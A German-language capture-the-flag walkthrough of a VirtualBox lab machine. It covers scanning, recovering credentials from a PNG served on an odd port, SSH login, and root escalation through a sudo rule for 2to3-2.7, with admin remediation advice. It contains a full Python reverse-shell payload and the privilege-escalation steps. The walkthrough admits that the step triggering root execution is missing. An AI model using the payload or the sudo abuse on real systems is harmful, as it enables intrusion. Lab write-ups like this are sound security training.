192.168.2.114 08:00:27:d9:ce:5a PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt.
Bewertung: Der Host `192.168.2.114` (Oracle VirtualBox) wird identifiziert.
Empfehlung (Pentester):** Ziel-IP bekannt. Führen Sie Portscans durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 01:54 CET Nmap scan report for light (192.168.2.114) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 93a49255722b9b4a52665cafa9833cfd (RSA) | 256 1ea7440b2c1b0d7783df1d9f0e30084d (ECDSA) |_ 256 d0fa9d7677426f91d3bdb54472a7c971 (ED25519) 37453/tcp open unknown | fingerprint-strings: | GenericLines, NULL: | 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR <-- PNG Header! | 00000010: 0000 013f 0000 0085 0806 0000 002d 80ff ...?.........-.. ... (Hexdump eines PNG-Bildes) ... | 000007d0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%.. |_ 000007e0: 8025 c 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port37453-TCP:V=7.93%I=7%D=11/12%Time=636EEEAD%P=x86_64-pc-linux-gnu%r( SF:NULL,1C48,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x20000d\x2 ... (Fingerprint Daten) ... SF:08025\x20c")%r(GenericLines SF:,234D,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x20000d\x20494 ... (Fingerprint Daten) ... SF:08025\x20c"); MAC Address: 08:00:27:D9:CE:5A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms light (192.168.2.114) OS and Service detection performed... Nmap done: 1 IP address (1 host up) scanned in ... seconds
Analyse Fortsetzung:** Ein weiterer Nmap-Scan (ohne `-sC -sV -A`) bestätigt die offenen Ports.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 02:02 CET Nmap scan report for light.box (192.168.2.114) Host is up (0.000047s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 37453/tcp open unknown MAC Address: 08:00:27:D9:CE:5A (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
Bewertung: Zwei TCP-Ports sind offen: * **22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **37453 (Unknown):** Ein unbekannter Dienst auf einem hohen Port. Nmap's Fingerprinting zeigt, dass dieser Dienst bei einer Verbindung direkt die Bytes eines PNG-Bildes sendet.
Empfehlung (Pentester):**
1. **Port 37453:** Verbinden Sie sich mit `telnet` oder `nc` zu diesem Port und speichern Sie die empfangenen Daten in einer Datei (z.B. `output.hex`). Analysieren Sie diese Daten. Da es sich um ein PNG handelt, versuchen Sie, die Hexdump-Daten wieder in ein Bild umzuwandeln (z.B. mit CyberChef) und dieses Bild auf versteckte Informationen (Steganographie, Metadaten) zu untersuchen.
2. **Port 22 (SSH):** Vorerst zurückstellen, da keine Zugangsdaten bekannt sind.
Empfehlung (Admin):** Untersuchen Sie den Dienst auf Port 37453. Ist er notwendig? Wenn ja, sollte er sich korrekt identifizieren und keine unerwarteten Daten senden. Wenn nicht, deaktivieren Sie ihn. Halten Sie SSH aktuell.
Analyse: Eine Verbindung zum Port 37453 wird mit `telnet` hergestellt.
Trying 192.168.2.114... Connected to light.box. Escape character is '^]'. 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 013f 0000 0085 0806 0000 002d 80ff ...?.........-.. ... (Hexdump des PNG-Bildes) ... 00000840: 0049 454e 44ae 4260 82 .IEND.B`. Connection closed by foreign host.
Bewertung: Telnet empfängt den Hexdump eines PNG-Bildes und die Verbindung wird danach geschlossen. Dies bestätigt die Nmap-Ergebnisse.
Empfehlung (Pentester):** Leiten Sie die Ausgabe in eine Datei um (`telnet light.box 37453 > image.hex`). Verwenden Sie ein Tool wie CyberChef, um den Hexdump wieder in ein PNG-Bild zu konvertieren (`From Hexdump` Rezept). Analysieren Sie das resultierende Bild auf versteckte Daten (z.B. mit `zsteg`, `stegsolve`, `exiftool`) oder sichtbare Hinweise.
Empfehlung (Admin):** Dienst auf Port 37453 untersuchen und ggf. deaktivieren/absichern.
Analyse: Der über Telnet erhaltene Hexdump wird mit CyberChef verarbeitet:
Analyse Fortsetzung:** Das rekonstruierte Bild enthält sichtbare Zugangsdaten.
Gefundene Credentials im Bild: lover / youcanseetheshadow
Bewertung: Kritischer Fund! Der obskure Dienst auf Port 37453 sendet ein Bild, das Zugangsdaten für den Benutzer `lover` enthält: Passwort `youcanseetheshadow`. Dies ist eine Form der Steganographie oder einfach ein gravierendes Informationsleck.
Empfehlung (Pentester):** Verwenden Sie die gefundenen Credentials (`lover`:`youcanseetheshadow`), um sich per SSH (Port 22) anzumelden.
Empfehlung (Admin):** Entfernen Sie den Dienst auf Port 37453 sofort. Speichern Sie niemals Zugangsdaten in Bildern oder an öffentlich zugänglichen Orten. Ändern Sie das kompromittierte Passwort.
Analyse: Mit den im Bild gefundenen Zugangsdaten wird eine SSH-Verbindung als Benutzer `lover` aufgebaut.
The authenticity of host 'light.box (192.168.2.114)' can't be established. ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'light.box' (ED25519) to the list of known hosts. lover@light.box's password: [Passwort youcanseetheshadow eingegeben] Linux light 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 The programs included with the Debian GNU/Linux system are free software; ... Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, ... Last login: Fri Nov 13 03:51:55 2020 from 192.168.1.58
Bewertung: Der SSH-Login als `lover` war erfolgreich. Der initiale Zugriff auf das System ist erfolgt.
Analyse Fortsetzung:** Das Home-Verzeichnis von `lover` wird untersucht und die User-Flag gelesen.
flag.sh mypass.txt tip.py user.txt
iloveopenedports
Bewertung: Die User-Flag `iloveopenedports` wurde gefunden.
Empfehlung (Pentester):** User-Flag dokumentieren. Führen Sie weitere Enumeration als `lover` durch, insbesondere `sudo -l`.
Empfehlung (Admin):** SSH-Zugriff überwachen.
Analyse: Die `sudo`-Rechte für den Benutzer `lover` werden überprüft.
Matching Defaults entries for lover on light:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lover may run the following commands on light:
(ALL : ALL) NOPASSWD: /usr/bin/2to3-2.7
Bewertung: Kritischer Fund! Der Benutzer `lover` darf das Programm `/usr/bin/2to3-2.7` als jeder Benutzer und jede Gruppe (`ALL : ALL`), einschließlich Root, ohne Passwort (`NOPASSWD`) ausführen. `2to3-2.7` ist ein Python-Tool zur Konvertierung von Python 2 Code zu Python 3. Laut GTFOBins kann dieses Tool missbraucht werden, um Dateien mit Root-Rechten zu schreiben, was zur Privilegieneskalation genutzt werden kann.
Analyse Fortsetzung:** Die SUID-Dateien werden überprüft, liefern aber keine ungewöhnlichen Ergebnisse.
/usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/umount /usr/bin/chfn /usr/bin/mount /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpasswd /usr/bin/sudo /usr/bin/su /usr/bin/chsh
... (Standard SUID Dateien) ...
Bewertung: Die SUID-Suche bestätigt keine einfachen Eskalationspfade. Der Fokus bleibt auf der `sudo`-Regel.
Analyse: Der GTFOBins-Exploit für `sudo 2to3-2.7` wird angewendet. Es wird eine lokale Python-Datei (`light.py` in `/tmp`) erstellt, die eine Reverse Shell startet.
# Payload für Reverse Shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.109",1234)) # Ziel-IP/Port des Listeners
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# print "for python 2" # Ursprünglicher Code, wird von 2to3 geändert
import pty
pty.spawn("/bin/bash")
Analyse Fortsetzung:** `2to3-2.7` wird mit `sudo` ausgeführt. Die Option `-w` (write back changes) bewirkt, dass die konvertierte Datei geschrieben wird. Die Option `-o /root/script` gibt das Zielverzeichnis an, in das geschrieben werden soll (als Root). `-n` verhindert das Schreiben von Backup-Dateien. Da `2to3-2.7` als Root läuft, kann es die (konvertierte) Datei `light.py` nach `/root/script/` schreiben.
lib2to3.main: Output in '/root/script' will mirror the input directory '' layout. RefactoringTool: Skipping optional fixer: buffer ... RefactoringTool: Refactored light.py --- light.py (original) +++ light.py (refactored) @@ -5,6 +5,6 @@ os.dup2(s.fileno(),2) os.dup2(s.fileno(),3) <-- Fehler im Originaltext, sollte wohl fileno 1 und 2 sein -print "for python 2" +print("for python 2") import pty pty.spawn("/bin/bash") RefactoringTool: Writing converted light.py to /root/script/light.py. <-- Datei als Root geschrieben! RefactoringTool: Files that were modified: RefactoringTool: light.py
Bewertung: Der Exploit nutzt `2to3-2.7`, um eine beliebige Datei (`light.py` mit unserem Reverse-Shell-Payload) an einen beliebigen Ort (`/root/script/`) mit Root-Rechten zu schreiben. Obwohl dies noch keine direkte Shell gibt, könnte dieser Schreibzugriff als Root weiter ausgenutzt werden (z.B. Cronjob überschreiben, SSH-Key hinzufügen, SUID-Binary platzieren).
Analyse Fortsetzung:** Der Text springt nun zu einem Schritt, bei dem angenommen wird, dass der Exploit erfolgreich war und eine Root-Shell über einen Listener auf Port 1234 erhalten wurde. Es wird nicht gezeigt, wie das Schreiben der Datei `/root/script/light.py` zur Ausführung als Root führt. Möglicherweise lief ein Cronjob, der `/root/script/light.py` ausführte, oder der Angreifer fand einen anderen Weg, die geschriebene Datei auszulösen.
listening on [any] 1234 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.114] 52972
uid=0(root) gid=0(root) groups=0(root)
flag.sh root.txt script
ilovepython
Bewertung: Unabhängig vom genauen Auslösemechanismus wurde durch die Ausnutzung der `sudo 2to3-2.7`-Berechtigung letztendlich eine Root-Shell erlangt und die Root-Flag `ilovepython` gelesen.
Empfehlung (Pentester):** Dokumentieren Sie den Mechanismus, wie die geschriebene Datei `/root/script/light.py` zur Ausführung gebracht wurde (z.B. Cronjob-Analyse).
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel für `2to3-2.7`. Gewähren Sie niemals `sudo`-Rechte für Interpreter, Compiler oder Dateimanipulationstools, die zum Schreiben an beliebigen Orten missbraucht werden können.
Kurzbeschreibung: Dieser POC beschreibt die Eskalationskette: Zugriff auf einen unbekannten Dienst, der ein Bild mit eingebetteten Credentials sendet, SSH-Login als Benutzer `lover` und anschließende Privilegieneskalation zu Root durch Ausnutzung einer unsicheren `sudo`-Regel für das Tool `2to3-2.7`, um eine Datei mit einem Reverse-Shell-Payload als Root zu schreiben und diese (implizit) auszuführen.
Schwachstellen: Unbekannter Dienst sendet sensible Daten (Bild mit Credentials).
Schritte:
Ergebnis: Shell als Benutzer `lover`.
Schwachstelle: Unsichere `sudo`-Regel: `(ALL : ALL) NPASSWD: /usr/bin/2to3-2.7`.
Voraussetzungen: Shell als `lover`.
Schritte:
Ergebnis: Reverse Shell als `root`.
Beweismittel: Ausführung von `id` in der Shell zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.
Risikobewertung: Hoch. Ein obskurer Dienst leakt Zugangsdaten, und eine unsichere `sudo`-Regel für ein Dateimanipulationstool ermöglicht das Schreiben von Dateien als Root, was zur vollständigen Kompromittierung führt.
Empfehlungen:** * **Admin:** Dienst auf Port 37453 entfernen. `sudo`-Regel für `2to3-2.7` entfernen. Passwörter sicher verwalten. Mechanismus untersuchen, der `/root/script/light.py` ausführt. * **Pentester:** Den Auslösemechanismus für die geschriebene Root-Datei dokumentieren.